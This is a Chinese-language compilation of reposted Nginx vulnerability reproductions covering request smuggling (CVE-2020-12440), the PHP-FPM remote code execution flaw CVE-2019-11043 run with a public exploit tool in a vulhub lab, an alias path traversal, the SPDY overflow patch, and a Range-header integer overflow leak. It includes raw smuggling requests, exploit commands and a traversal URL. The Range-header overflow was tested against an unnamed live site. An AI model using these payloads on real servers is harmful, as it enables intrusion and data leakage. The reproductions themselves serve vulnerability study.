- Nginx -

（CVE-2020-12440）Nginx \<= 1.8.0 请求走私

（CVE-2020-12440）Nginx <= 1.8.0 请求走私

本文转自nosafer 并作补充

一、漏洞简介

Nginx 1.18.0及之前版本中存在安全漏洞。攻击者可利用该漏洞进行缓存投毒，劫持凭证或绕过安全保护。

二、漏洞影响

Nginx <= 1.8.0

三、复现过程

image

Request

1
2
3
4
5
6
7
GET /test.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 2

GET /poc.html HTTP/1.1
Host: www.0-sec.org
Content-Length: 15

Response

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 33
Last-Modified: Thu, 30 Apr 2020 14:36:32 GMT
Connection: keep-alive
ETag: "5eaae270-21"
Accept-Ranges: bytes

<html><h1>Test Page!</h1></html>
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Fri, 01 May 2020 18:28:44 GMT
Content-Type: text/html
Content-Length: 15
Last-Modified: Thu, 30 Apr 2020 14:35:41 GMT
Connection: keep-alive
ETag: "5eaae23d-f"
Accept-Ranges: bytes

NGINX PoC File

其他例子

Request（200 OK + 405 Method Not Allowed）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked


46
TRACE / HTTP/1.1
Host:www.0-sec.org
Content-Length:15


kk
0s

Response（200 OK + 405 Method Not Allowed）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br />
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
HTTP/1.1 405 Not Allowed
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:28:12 GMT
Content-Type: text/html
Content-Length: 157
Connection: close


<html>
<head><title>405 Not Allowed</title></head>
<body>
<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>

Request（200 OK + 404 Not Found）

1
2
3
4
5
6
7
8
9
10
11
12
GET / HTTP/1.1
Host: www.0-sec.org
Content-Length: 4
Transfer-Encoding : chunked

46
GET /404 HTTP/1.1
Host:www.0-sec.org
Content-Length:15

kk
0s

Response（200 OK + 404 Not Found）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
HTTP/1.1 200 OK
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Tue, 21 Apr 2020 16:08:59 GMT
Connection: keep-alive
ETag: "5e9f1a9b-264"
Accept-Ranges: bytes


<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br />
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>
HTTP/1.1 404 Not Found
Server: nginx/1.18.0
Date: Tue, 21 Apr 2020 16:23:52 GMT
Content-Type: text/html
Content-Length: 153
Connection: keep-alive


<html>
<head><title>404 Not Found</title></head>
<body>
<center><h1>404 Not Found</h1></center>
<hr><center>nginx/1.18.0</center>
</body>
</html>

CVE-2019-11043漏洞分析与复现

CVE-2019-11043漏洞分析与复现

本文转自STong66 并作补充

漏洞描述

Nginx 上 fastcgi_split_path_info 在处理带有 %0a 的请求时，会因为遇到换行符 \n 导致 PATH_INFO 为空。而 php-fpm 在处理 PATH_INFO

为空的情况下，存在逻辑缺陷。攻击者通过精心的构造和利用，可以导致远程代码执行。

该漏洞需要在nginx.conf中进行特定配置才能触发。具体配置如下：

1
2
3
4
5
6
7
8
9
10
11
12
13
location ~ [^/]\.php(/|$) {

 ...

 fastcgi_split_path_info ^(.+?\.php)(/.*)$;

 fastcgi_param PATH_INFO $fastcgi_path_info;

 fastcgi_pass   php:9000;

 ...

}

攻击者可以使用换行符（％0a）来破坏fastcgi_split_path_info指令中的Regexp。Regexp被损坏导致PATH_INFO为空，从而触发该漏洞。

漏洞类型

远程代码执行漏洞

危险等级

高危

利用条件

nginx配置了fastcgi_split_path_info

受影响系统

PHP 5.6-7.x，Nginx>=0.7.31

漏洞复现

使用某个大佬的 docker 环境进行复现：

PHP-FPM 远程代码执行漏洞（CVE-2019-11043）

https://github.com/vulhub/vulhub/blob/master/php/CVE-2019-11043/README.zh-cn.md

准备工作：安装 docker、golang 环境

在kali中使用如下命令安装docker和golang：

1
2
sudo apt-get install docker docker-compose
sudo apt install golang

image

image

image

搭建漏洞环境

1
2
git clone https://github.com/vulhub/vulhub.git
cd vulhub/php/CVE-2019-11043 && docker-compose up -d

image

image

image

image

安装漏洞利用工具

1
2
3
git clone https://github.com/neex/phuip-fpizdam.git
cd phuip-fpizdam
go get -v && go build

image

image

漏洞利用

在phuip-fpizdam目录下执行 go run . “http://127.0.0.1:8080/index.php"后成功显示漏洞利用成功。

在浏览器进行了如下请求，成功复现，可以执行系统命令,id可以替换为其他OS命令。

image

漏洞分析

具体漏洞信息可参考：https://github.com/php/php-src/commit/ab061f95ca966731b1c84cf5b7b20155c0a1c06a/#diff-624bdd47ab6847d777e15327976a9227

有漏洞信息可知漏洞是由于path_info 的地址可控导致的，我们可以看到，当path_info 被%0a截断时，path_info 将被置为空，回到代码中我就发现问题所在了。

如下漏洞代码

image

在代码的1134行我们发现了可控的 path_info 的指针env_path_info

其中

env_path_info 就是变量path_info 的地址，path_info 为0则plien 为0。

slen 变量来自于请求后url的长度 int ptlen = strlen(pt); int slen = len - ptlen;

由于apache_was_here这个变量在前面被设为了0，因此path_info的赋值语句实际上就是：

1
path_info = env_path_info ? env_path_info + pilen - slen : NULL;

env_path_info是从Fast CGI的PATH_INFO取过来的，而由于代入了%0a，在采取fastcgi_split_path_info ^(.+?\.php)(/.*)$;这样的Nginx配置项的情况下，fastcgi_split_path_info无法正确识别现

在的url，因此会Path Info置空，所以env_path_info在进行取值时，同样会取到空值，这也正是漏洞原因所在。

Nginx错误配置alias导致目录遍历漏洞

Nginx错误配置alias导致目录遍历漏洞

本文转自BlackWolf 并作补充

0x00 前言

nginx错误配置alias，导致存在目录遍历，可跳出限制读取上一层目录及其任意子目录的文件的任意文件。

0x01 环境搭建

使用richarvey/nginx-php-fpm镜像

1
docker run -d -p 80:80  richarvey/nginx-php-fpm

配置nginx，添加配置test路由解析到/var/www/html/路径（注意：/test没有结尾的/）

1
2
3
4
# /etc/nginx/sites-available/default.conf
location /test {
        alias /var/www/html/;  
    }

对应Web服务的文件结构，目标是目录遍历获取flag.txt的内容

1
2
3
4
5
6
|--var
   |--www
      |--flag.txt
      |--html
         |--index.php
         |--test.txt

0x02 漏洞利用

通过访问http://127.0.0.1/test/test.txt

可以成功访问到test的内容如下(/test/test.txt路由请求，经处理后转换成：/var/www/html/test.txt)：

this is a test

修改请求为http://127.0.0.1/test../flag.txt，可以成功跳到上一层目录下，读取到flag.txt的内容(`/test../flag.txt`路由请求，经处理后转换成：`/var/www/flag.txt`)

you get me, hahaha

0x03 小结

只能跳到上一层目录，读取上一层目录及其任意子目录的文件，不能任意目录遍历读取任意文件,有局限性。

需要nginx配置缺陷，实战情况比较有限，但是真实存在（如：参考链接3）。

一种场景是：很多网站会把备份文件放置在网页目录的上一层路径下，利用遍历读取备份文件；另一种场景是：路由限制到上传或静态图片路径，利用遍历读取上一层路径下的配置文件等。

0x04 参考链接

https://github.com/yandex/gixy/blob/master/docs/en/plugins/aliastraversal.md
https://hackerone.com/reports/317201
https://hackerone.com/reports/312510

CVE-2014-0133-Nginx

Nginx SPDY缓冲区溢出漏洞

本文转自山兔1 并作补充

注意

nginx SPDY实现存在基于堆的缓冲区溢出，允许攻击者利用漏洞提交特殊的请求使应用程序崩溃或执行任意代码。

如果是漏扫，扫出来的话，是没有用的，它是根据版本来确认nginx是否存在的漏洞的，具体得登陆服务器上看。

成因

Nginx 1.3.15 - 1.5.11 的版本都收此漏洞影响，原因是如果listen指令中的spdy选项被配置文件所调用，则编译时会使用ngx_http_spdy_module模块（默认不编译），并且没有--with-debug配置选项。

修复

此漏洞已在 Nginx 1.5.12 及 1.4.7 后被修复，问题补丁如下：

1
2
3
4
5
6
7
8
9
10
11
--- src/http/ngx_http_spdy.c
+++ src/http/ngx_http_spdy.c
@@ -1849,7 +1849,7 @@ static u_char *
 ngx_http_spdy_state_save(ngx_http_spdy_connection_t *sc,
     u_char *pos, u_char *end, ngx_http_spdy_handler_pt handler)
 {
-#if (NGX_DEBUG)
+#if 1
     if (end - pos > NGX_SPDY_STATE_BUFFER_SIZE) {
         ngx_log_error(NGX_LOG_ALERT, sc->connection->log, 0,
                       "spdy state buffer overflow: "

请更新 Nginx 版本

CVE-2017-7529-Nginx

nginx 整数溢出小结 cve-2017-7529

本文转自gaogaogaopipi

起因

这两天在做nginx整数溢出时出了点小岔子，经过学习对这个问题有了深入的了解，特此记录。

漏洞补丁以及平安银河实验室已经把这事说的很清楚了，在此记录原文地址

简单的说就是这么一回事：
HTTP的Range允许客户端分批次请求资源的一部分，如果服务端资源较大，可以通过Range来并发下载；
正常情况下组件代码中计算了Range的长度，防止溢出，可以构造恶意长度来绕过，从而读取缓存的头部数据，造成泄露。

细节要留意的就是range的相关定义，示例如下
Range:bytes=0-1024 表示访问第0到第1024字节；
Range:bytes=500-600,601-999，-300 表示分三块访问，分别是500到600字节，601到600字节，最后的300字节；

在Response头中设置:
Accept-Ranges:bytes 表示接受部分资源的请求；
Content-Range: bytes START-END/SIZE 表示返回的资源位置；其中SIZE等于Content-Length;如：Content-Range: bytes 500-600/1000

经过

测试站点：www.（我肯定是不能明说）.com.cn

image

以站点的一张图片为例子，路径：/images/sq.jpg

image

上图可以看到正常情况下content-length的大小是8935bytes，也就是size的大小。
size大小就是我一开始搞混了的地方，清楚了size的大小那么根据平安银河实验室的文章就有如下过程：

image

上图可以看到正常的返回数据以及完整的ranges长度返回。

image

上图可以看到，选择返回后十个bytes得到的结果（8935-10=8925，所以是从8925开始返回。因为写定的end是总长减一，所以结尾的值是8934，所以此处statr=8925,end=8934），以及返回的range的位置。

image

上图是对上面的补充，可以看到在读取部分bytes时，完整的参数是从“多少”到“多少”，上面是从1到10

image

上图可以看到，在使用完整的输入模式，对-1开始读取的时候，触发了ngx_http_range_parse()
对statr的负值检查，所以报错，无法读取。
那么此时就如原文所说
因此，如果需要将start解析为负数，只能通过-end这类后缀型range参数实现

image

如上图，使用 -end 只设置一个大于8935的值，此时statr = 8935-9000 = -65，满足了负值。但按上文所说，statr是负值则会报错。
注意到此时并未报错，而是正常返回，原因是此处设置的range不是完整模式，虽然是负值，但是因为end的默认值是总长-1（8935-1=8934），那么此时这段要读取的range的范围是从 -65到 8934 其实际总长超过了 8935 所以nginx丢弃了range，所以正常返回。

重点

上面满足了传值为负值的条件，但是因为总长度检测的原因，导致丢弃range，那么如果绕过总长度检测？为什么这个漏洞要叫 整数溢出 漏洞呢？
这里注意到 ***start, end, size均为64位有符号整形，值的范围是-9223372036854775808 … 9223372036854775807 ，那么根据补丁中的代码 size += end - start

image

只要最终size的值是负值，即可溢出，从而绕过检测，所以叫 整数溢出
0x8000 0000 0000 0000既是64位有符号型的最小负值，所以只需要最终相加得到的size为0×8000000000000000即可。

注意 size += end -start;这等于如果存在多个range，那么就会有 size = size + (end - start)
也就是说在有多个range时，最终的size = size1 + size2 + … +sizeN
如上所说，只要size是负值即可溢出，那么就能得到第二个range的值，若第一个range是9500
那么0x8000000000000000-9500 既是第二个值

那么如下图：

image

成功！

结果

image